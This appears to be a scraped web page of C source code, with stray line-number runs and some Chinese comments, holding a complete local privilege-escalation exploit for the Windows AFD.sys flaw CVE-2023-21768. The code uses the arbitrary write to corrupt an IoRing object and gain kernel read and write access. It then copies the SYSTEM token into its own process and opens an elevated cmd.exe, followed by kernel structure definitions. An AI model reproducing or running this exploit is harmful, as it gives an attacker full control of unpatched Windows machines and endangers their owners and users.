    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = (PVOID)pReadAddr;

    pMcBufferEntry->Length = ulReadLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    ret = 0;

done:

    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);

DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);

DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);

DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

namespace CVE_2023_21768

{

    HIORING hIoRing = NULL;

    PIORING_OBJECT pIoRing = NULL;

    HANDLE hInPipe = INVALID_HANDLE_VALUE;

    HANDLE hOutPipe = INVALID_HANDLE_VALUE;

    HANDLE hInPipeClient = INVALID_HANDLE_VALUE;

    HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;

    DWORD64 FakeRegBufferAddr = 0x1000000;

    PVOID pFakeRegBuffers = NULL;

    unsigned int FakeRegBuffersCount = 1;

    DWORD64 SystemEPROCaddr = 0;

    DWORD64 MyEPROCaddr = 0;

    DWORD64 SystemTokenaddr = 0;

    DWORD64 MyTokenaddr = 0;

    DWORD64 test = 0;

}

using namespace CVE_2023_21768;

//漏洞点任意地址写0x1

BOOL ExploitWrite0x1(void* pTargetPtr)

{

    IO_STATUS_BLOCK IoStatusBlock;

    HANDLE hEvent = NULL;

    HANDLE hSocket = NULL;

    HANDLE hCompletion = INVALID_HANDLE_VALUE;

    OBJECT_ATTRIBUTES ObjectAttributes;

    UNICODE_STRING ObjectFilePath;

    DWORD dwStatus = 0;

    BYTE bExtendedAttributes[] =

    {

        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,

        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE

    };

    AFD_NOTIFYSOCK_DATA Data = { 0 };

    // create status event

    hEvent = CreateEvent(NULL, 0, 0, NULL);

    if (hEvent == NULL)

    {

        // error

        return FALSE;

    }

    // set afd endpoint path

    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));

    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";

    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);

    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // initialise object attributes

    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));

    ObjectAttributes.Length = sizeof(ObjectAttributes);

    ObjectAttributes.ObjectName = &ObjectFilePath;

    ObjectAttributes.Attributes = 0x40;

    // create socket handle

    IoStatusBlock.Status = 0;

    IoStatusBlock.Information = NULL;

    dwStatus = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

    if (dwStatus != 0)

    {

        // error

        CloseHandle(hEvent);

        return FALSE;

    }

    _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

    _NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 1);

    Data.HandleIoCompletion = hCompletion;

    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    Data.dwCounter = 0x1;

    Data.dwLen = 0x1;

    Data.dwTimeout = 100000000;

    Data.pPwnPtr = pTargetPtr;

    /*

    __kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(

      [in]            HANDLE           FileHandle,

      [in, optional]  HANDLE           Event,

      [in, optional]  PIO_APC_ROUTINE  ApcRoutine,

      [in, optional]  PVOID            ApcContext,

      [out]           PIO_STATUS_BLOCK IoStatusBlock,

      [in]            ULONG            IoControlCode,

      [in, optional]  PVOID            InputBuffer,

      [in]            ULONG            InputBufferLength,

      [out, optional] PVOID            OutputBuffer,

      [in]            ULONG            OutputBufferLength

    );

    */

    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

    if (INVALID_HANDLE_VALUE != hCompletion)

    {

        CloseHandle(hCompletion);

    }

    if (INVALID_HANDLE_VALUE != hSocket)

    {

        CloseHandle(hSocket);

    }

    if (NULL != hEvent)

    {

        CloseHandle(hEvent);

    }

    if (NULL != Data.pData1)

    {

        VirtualFree(Data.pData1, 0, MEM_RELEASE);

    }

    if (NULL != Data.pData2)

    {

        VirtualFree(Data.pData2, 0, MEM_RELEASE);

    }

    return TRUE;

}

int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)

{

    int ret = -1;

    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;

    ULONG ulBytes = 0;

    NTSTATUS ntStatus = STATUS_SUCCESS;

    while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)

    {

        if (pHandleInfo != NULL)

        {

            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);

        }

        else

        {

            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);

        }

    }

    if (ntStatus != STATUS_SUCCESS)

    {

        ret = ntStatus;

        goto done;

    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)

    {

        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))

        {

            *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;

            ret = 0;

            break;

        }

    }

done:

    if (NULL != pHandleInfo)

    {

        HeapFree(GetProcessHeap, 0, pHandleInfo);

    }

    return ret;

}

int ioring_init(PIORING_OBJECT* ppIoRingAddr)

{

    int ret = -1;

    IORING_CREATE_FLAGS ioRingFlags;

    //创建IoRing

    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;

    ioRingFlags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;

    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);

    if (0 != ret)

    {

        printf("CreateIoRing failed");

        return FALSE;

    }

    //获取内核层指向IORING_OBJECT的结构体指针

    ret = getobjptr((PULONG64)ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);

    if (0 != ret)

    {

        return FALSE;

    }

    pIoRing = *ppIoRingAddr;

    return TRUE;

}

BOOL File_init()

{

    hInPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    hOutPipe = CreateNamedPipeW(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))

    {

        printf("CreateNamedPipeW failed");

        return FALSE;

    }

    hInPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    hOutPipeClient = CreateFileW(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))

    {

        printf("CreateNamedPipeW failed");

        return FALSE;

    }

    return TRUE;

}

BOOL FakeRegisterBuffers_init()

{

    _HIORING* phIoRing = NULL;

    //设置内核层的_IORING_OBJECT结构体

    //IoRing->RegBuffers=0x1000000

    if (!ExploitWrite0x1((char*)&pIoRing->RegBuffers + 0x3))

    {

        printf("IoRing->RegBuffers write failed");

        return FALSE;

    }

    //IoRing->RegBuffersCount=0x1s

    if (!ExploitWrite0x1((char*)&pIoRing->RegBuffersCount))

    {

        printf("IoRing->RegBuffersCount write failed");

        return FALSE;

    }

    //0x1000000申请对应Count数的空间,这应该是个结构体指针数组,每个指针都指向_IOP_MC_BUFFER_ENTRY结构体

    pFakeRegBuffers = VirtualAlloc((LPVOID)FakeRegBufferAddr, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * FakeRegBuffersCount);

    //设置用户层的_HIORING结构体

    phIoRing = *(_HIORING**)&hIoRing;

    phIoRing->RegBufferArray = pFakeRegBuffers;

    phIoRing->BufferArraySize = FakeRegBuffersCount;

    return TRUE;   

}

BOOL TokenAddr_init()

{

    HANDLE hProc = NULL;

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, GetCurrentProcessId());

    getobjptr(&SystemEPROCaddr, 4, (HANDLE)4);

    getobjptr(&MyEPROCaddr, GetCurrentProcessId(), hProc);

    SystemTokenaddr = SystemEPROCaddr+ EPROC_TOKEN_OFFSET;

    MyTokenaddr = MyEPROCaddr+ EPROC_TOKEN_OFFSET;

    printf("SystemTokenaddr : %llx\n", SystemTokenaddr);

    printf("MyTokenaddr : %llx\n", MyTokenaddr);

    return TRUE;

}

BOOL Init_CVE_2023_21768()

{

    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");

    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");

    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");

    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");

    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)

    {

        printf("get function false ");

        return FALSE;

    }

    ioring_init(&pIoRing);

    File_init();

    FakeRegisterBuffers_init();

    TokenAddr_init();

}

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = (PVOID)pReadAddr;

    pMcBufferEntry->Length = ulReadLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    ret = 0;

done:

    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = (PVOID)pWriteAddr;

    pMcBufferEntry->Length = ulWriteLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;

    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    ret = 0;

done:

    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

VOID PrivilegeEscalatio()

{

    ULONG64 ullSysToken;

    //ioring_write((PULONG64)pFakeRegBuffers, (ULONG64)&test, &ullSysToken, sizeof(ULONG64));

    //printf("%llx\n", &test);

    ioring_read((PULONG64)pFakeRegBuffers, SystemTokenaddr, &ullSysToken, sizeof(ULONG64));

    printf("ullSysToken : %llx\n", ullSysToken);

    ioring_write((PULONG64)pFakeRegBuffers, MyTokenaddr, &ullSysToken, sizeof(ULONG64));

}

VOID CreateCmd()

{

    STARTUPINFO si = { sizeof(si) };

    PROCESS_INFORMATION pi = { 0 };

    si.dwFlags = STARTF_USESHOWWINDOW;

    si.wShowWindow = SW_SHOW;

    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };

    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);

    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}

VOID FixData()

{

    char null[0x10] = { 0 };

    ioring_write((PULONG64)pFakeRegBuffers,  (ULONG64)(&pIoRing->RegBuffersCount), &null, 0x10);

    if (pFakeRegBuffers != NULL)

    {

        VirtualFree(pFakeRegBuffers, sizeof(ULONG64) * FakeRegBuffersCount, MEM_RELEASE);

    }

    if (hIoRing != NULL)

    {

        CloseHandle(hIoRing);

    }

}

int main()

{

    Init_CVE_2023_21768();

    PrivilegeEscalatio();

    CreateCmd();

    FixData();

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

typedef struct AFD_NOTIFYSOCK_DATA

{

    HANDLE HandleIoCompletion;

    PVOID pData1;

    PVOID pData2;

    PVOID pPwnPtr;

    DWORD dwCounter;

    DWORD dwTimeout;

    DWORD dwLen;

    char lol[0x4];

}AFD_NOTIFYSOCK_DATA;

typedef struct _NT_IORING_CREATE_FLAGS

{

    enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;

    enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;

} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;

typedef struct _NT_IORING_INFO

{

    enum IORING_VERSION IoRingVersion;

    struct _NT_IORING_CREATE_FLAGS Flags;

    unsigned int SubmissionQueueSize;

    unsigned int SubmissionQueueRingMask;

    unsigned int CompletionQueueSize;

    unsigned int CompletionQueueRingMask;

    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;

    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;

} NT_IORING_INFO, * PNT_IORING_INFO;

typedef struct _IOP_MC_BUFFER_ENTRY

{

    USHORT Type;

    USHORT Reserved;

    ULONG Size;

    ULONG ReferenceCount;

    ULONG Flags;

    LIST_ENTRY GlobalDataLink;

    PVOID Address;

    ULONG Length;

    CHAR AccessMode;

    ULONG MdlRef;

    struct _MDL* Mdl;

    KEVENT MdlRundownEvent;

    PULONG64 PfnArray;

    BYTE PageNodes[0x20];

} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

typedef struct _IORING_OBJECT

{

    short Type;

    short Size;

    struct _NT_IORING_INFO UserInfo;

    void* Section;

    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;

    struct _MDL* CompletionQueueMdl;

    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;

    unsigned __int64 ViewSize;

    long InSubmit;

    unsigned __int64 CompletionLock;

    unsigned __int64 SubmitCount;

    unsigned __int64 CompletionCount;

    unsigned __int64 CompletionWaitUntil;

    struct _KEVENT CompletionEvent;

    unsigned char SignalCompletionEvent;

    struct _KEVENT* CompletionUserEvent;

    unsigned int RegBuffersCount;

    struct _IOP_MC_BUFFER_ENTRY** RegBuffers;

    unsigned int RegFilesCount;

    void** RegFiles;

} IORING_OBJECT, * PIORING_OBJECT;

typedef struct _HIORING

{

    HANDLE handle;

    NT_IORING_INFO Info;

    ULONG IoRingKernelAcceptedVersion;

    PVOID RegBufferArray;

    ULONG BufferArraySize;

    PVOID Unknown;

    ULONG FileHandlesCount;

    ULONG SubQueueHead;

    ULONG SubQueueTail;

}_HIORING;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

typedef struct _OBJECT_TYPE_INFORMATION

{

    UNICODE_STRING TypeName;

    ULONG TotalNumberOfObjects;

    ULONG TotalNumberOfHandles;

    ULONG TotalPagedPoolUsage;

    ULONG TotalNonPagedPoolUsage;

    ULONG TotalNamePoolUsage;

    ULONG TotalHandleTableUsage;

    ULONG HighWaterNumberOfObjects;

    ULONG HighWaterNumberOfHandles;

    ULONG HighWaterPagedPoolUsage;

    ULONG HighWaterNonPagedPoolUsage;

    ULONG HighWaterNamePoolUsage;

    ULONG HighWaterHandleTableUsage;

    ULONG InvalidAttributes;

    GENERIC_MAPPING GenericMapping;

    ULONG ValidAccessMask;

    BOOLEAN SecurityRequired;

    BOOLEAN MaintainHandleCount;

    BOOLEAN TypeIndex;

    CHAR ReservedByte;

    ULONG PoolType;

    ULONG DefaultPagedPoolCharge;

    ULONG DefaultNonPagedPoolCharge;

} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO

{

    unsigned short UniqueProcessId;

    unsigned short CreatorBackTraceIndex;

    unsigned char ObjectTypeIndex;

    unsigned char HandleAttributes;

    unsigned short HandleValue;

    void* Object;

    unsigned long GrantedAccess;

    long __PADDING__[1];

} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION

{

    unsigned long NumberOfHandles;

    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];

} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _DISPATCHER_HEADER

{

    union

    {

        volatile long Lock;

        long LockNV;

        struct

        {

            unsigned char Type;

            unsigned char Signalling;

            unsigned char Size;

            unsigned char Reserved1;

        };

        struct

        {

            unsigned char TimerType;

            union

            {

                unsigned char TimerControlFlags;

                struct

                {

                    struct

                    {

                        unsigned char Absolute : 1;

                        unsigned char Wake : 1;

                        unsigned char EncodedTolerableDelay : 6;

                    };

                    unsigned char Hand;

                    union

                    {

                        unsigned char TimerMiscFlags;

                        struct

                        {

                            unsigned char Index : 6;

                            unsigned char Inserted : 1;

                            volatile unsigned char Expired : 1;

                        };

                    };

                };

            };

        };

        struct

        {

            unsigned char Timer2Type;

            union

            {

                unsigned char Timer2Flags;

                struct

                {

                    struct

                    {

                        unsigned char Timer2Inserted : 1;

                        unsigned char Timer2Expiring : 1;

                        unsigned char Timer2CancelPending : 1;

                        unsigned char Timer2SetPending : 1;

                        unsigned char Timer2Running : 1;

                        unsigned char Timer2Disabled : 1;

                        unsigned char Timer2ReservedFlags : 2;

                    };

                    unsigned char Timer2ComponentId;

                    unsigned char Timer2RelativeId;

                };

            };

        };

        struct

        {

            unsigned char QueueType;

            union

            {

                unsigned char QueueControlFlags;

                struct

                {

                    struct

                    {

                        unsigned char Abandoned : 1;

                        unsigned char DisableIncrement : 1;

                        unsigned char QueueReservedControlFlags : 6;

                    };

                    unsigned char QueueSize;

                    unsigned char QueueReserved;

                };

            };

        };

        struct

        {

            unsigned char ThreadType;

            unsigned char ThreadReserved;

            union

            {

                unsigned char ThreadControlFlags;

                struct

                {

                    struct

                    {

                        unsigned char CycleProfiling : 1;

                        unsigned char CounterProfiling : 1;

                        unsigned char GroupScheduling : 1;

                        unsigned char AffinitySet : 1;

                        unsigned char Tagged : 1;

                        unsigned char EnergyProfiling : 1;

                        unsigned char SchedulerAssist : 1;

                        unsigned char ThreadReservedControlFlags : 1;

                    };

                    union

                    {

                        unsigned char DebugActive;

                        struct

                        {

                            unsigned char ActiveDR7 : 1;

                            unsigned char Instrumented : 1;

                            unsigned char Minimal : 1;

                            unsigned char Reserved4 : 2;

                            unsigned char AltSyscall : 1;

                            unsigned char Emulation : 1;

                            unsigned char Reserved5 : 1;

                        };

                    };

                };

            };

        };

        struct

        {

            unsigned char MutantType;

            unsigned char MutantSize;

            unsigned char DpcActive;

            unsigned char MutantReserved;

        };

    };

    long SignalState;

    LIST_ENTRY WaitListHead;

} DISPATCHER_HEADER, * PDISPATCHER_HEADER;

typedef struct _KEVENT

{

    struct _DISPATCHER_HEADER Header;

} KEVENT, * PKEVENT;

